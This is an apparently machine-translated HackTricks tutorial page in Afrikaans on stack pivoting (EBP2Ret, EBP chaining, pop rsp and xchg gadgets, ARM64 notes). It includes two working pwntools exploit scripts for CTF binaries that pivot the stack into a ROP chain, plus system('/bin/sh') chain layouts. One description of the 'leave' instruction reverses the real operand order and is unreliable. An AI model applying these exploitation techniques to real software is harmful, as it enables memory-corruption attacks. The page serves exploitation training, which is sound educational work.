Stack Pivoting - EBP2Ret - EBP chaining

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

Hierdie tegniek maak gebruik van die vermoë om die Basewysiger (EBP) te manipuleer om die uitvoering van verskeie funksies aan mekaar te koppel deur sorgvuldige gebruik van die EBP-register en die leave; ret instruksievolgorde.

Ter herinnering, leave beteken basies:

mov       ebp, esp
pop       ebp
ret

En aangesien die EBP in die stapel voor die EIP is, is dit moontlik om dit te beheer deur die stapel te beheer.

EBP2Ret

Hierdie tegniek is veral nuttig wanneer jy die EBP-register kan verander maar geen direkte manier het om die EIP-register te verander nie. Dit maak gebruik van die gedrag van funksies wanneer hulle klaar is met uitvoer.

As jy tydens die uitvoering van fvuln 'n vals EBP in die stapel kan inspuit wat na 'n area in die geheue wys waar jou shellcode se adres geleë is (plus 4 byte om die pop-operasie te akkommodeer), kan jy indirek die EIP beheer. Soos fvuln terugkeer, word die ESP na hierdie gekonstrueerde plek ingestel, en die daaropvolgende pop-operasie verminder ESP met 4, wat dit effektief laat wys na 'n adres wat deur die aanvaller daar gestoor is. Let op hoe jy 2 adresse moet weet: Die een waar ESP gaan wees, waar jy die adres moet skryf wat deur ESP aangedui word.

Uitbuiting Konstruksie

Eerstens moet jy 'n adres weet waar jy arbitrêre data / adresse kan skryf. Die ESP sal hierheen wys en die eerste ret hardloop.

Dan moet jy die adres weet wat deur ret gebruik word wat arbitrêre kode uitvoer. Jy kan gebruik:

  • 'n geldige ONE_GADGET adres.

  • Die adres van system() gevolg deur 4 rommelbyte en die adres van "/bin/sh" (x86-bits).

  • Die adres van 'n jump esp; gadget (ret2esp) gevolg deur die shellcode om uit te voer.

  • 'n paar ROP ketting

Onthou dat voor enige van hierdie adresse in die beheerde deel van die geheue, moet daar 4 byte wees as gevolg van die pop deel van die leave-instruksie. Dit sou moontlik wees om hierdie 4B te misbruik om 'n tweede vals EBP in te stel en die uitvoering voort te sit.

Off-By-One Uitbuiting

Daar is 'n spesifieke variasie van hierdie tegniek bekend as 'n "Off-By-One Uitbuiting". Dit word gebruik wanneer jy slegs die minst betekenisvolle byte van die EBP kan wysig. In so 'n geval moet die geheueplek wat die adres om na te spring met die ret stoor, die eerste drie byte deel met die EBP, wat 'n soortgelyke manipulasie met meer beperkte toestande toelaat. Gewoonlik word die byte 0x00 gewysig om so ver as moontlik te spring.

Dit is ook algemeen om 'n RET-glybaan in die stapel te gebruik en die werklike ROP-ketting aan die einde te plaas om dit waarskynliker te maak dat die nuwe ESP binne die RET-glybaan wys en die finale ROP-ketting uitgevoer word.

EBP Ketting

Dus, deur 'n beheerde adres in die EBP-inskrywing van die stapel te plaas en 'n adres na leave; ret in EIP, is dit moontlik om die ESP na die beheerde EBP-adres van die stapel te skuif.

Nou word die ESP beheer deur na 'n gewenste adres te wys en die volgende instruksie wat uitgevoer moet word, is 'n RET. Om hiervan misbruik te maak, is dit moontlik om hierdie in die beheerde ESP-plek te plaas:

  • &(volgende vals EBP) -> Laai die nuwe EBP as gevolg van pop ebp van die leave-instruksie

  • system() -> Geroep deur ret

  • &(leave;ret) -> Geroep nadat stelsel eindig, dit sal ESP na die valse EBP skuif en weer begin

  • &("/bin/sh")-> Param vir system

Op hierdie manier is dit moontlik om verskeie valse EBPs aan mekaar te koppel om die vloei van die program te beheer.

Dit is soos 'n ret2lib, maar meer kompleks sonder skynbare voordeel, maar dit kan interessant wees in sommige grensgevalle.

Verder het jy hier 'n voorbeeld van 'n uitdaging wat hierdie tegniek met 'n stapel lek gebruik om 'n wenfunksie te roep. Dit is die finale lading van die bladsy:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP mag dalk nie gebruik word nie

Soos verduidelik in hierdie pos, as 'n binêre lêer met sekere optimaliserings gekompileer word, kry die EBP nooit beheer oor ESP nie, daarom sal enige aanval wat werk deur die beheer van EBP basies misluk omdat dit geen werklike effek het nie. Dit is omdat die proloog en epiloog verander as die binêre lêer geoptimaliseer is.

  • Nie geoptimaliseer nie:

push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Geoptimeer:

push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

Ander maniere om RSP te beheer

pop rsp apparaat

Op hierdie bladsy kan jy 'n voorbeeld vind van die gebruik van hierdie tegniek. Vir hierdie uitdaging was dit nodig om 'n funksie met 2 spesifieke argumente te roep, en daar was 'n pop rsp gadget en daar is 'n lek vanaf die stok:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp-toestel

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Kyk na die ret2esp tegniek hier:

pageRet2esp / Ret2reg

Verwysings & Ander Voorbeelde

ARM64

In ARM64, die proloog en epiloge van die funksies stoor en herstel nie die SP-register in die stapel nie. Verder, die RET instruksie keer nie terug na die adres wat deur SP aangedui word nie, maar na die adres binne x30.

Daarom, standaard, deur net die epiloog te misbruik sal jy nie die SP-register kan beheer deur 'n paar data binne die stapel te oorskryf nie. Selfs as jy daarin slaag om die SP te beheer, sal jy steeds 'n manier nodig hê om die x30-register te beheer.

  • proloog

sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP wys na die raamrekord
  • epiloog

ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

Die manier om iets soortgelyks as stapel pivoteering in ARM64 uit te voer, sou wees om in staat te wees om die SP te beheer (deur 'n register te beheer waarvan die waarde aan SP oorgedra word of omdat vir een of ander rede SP sy adres van die stapel neem en ons 'n oorvloei het) en dan die epiloog te misbruik om die x30-register van 'n beheerde SP te laai en daarna daarnaar te RET.

Ook op die volgende bladsy kan jy die ekwivalent van Ret2esp in ARM64 sien:

pageRet2esp / Ret2reg
Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated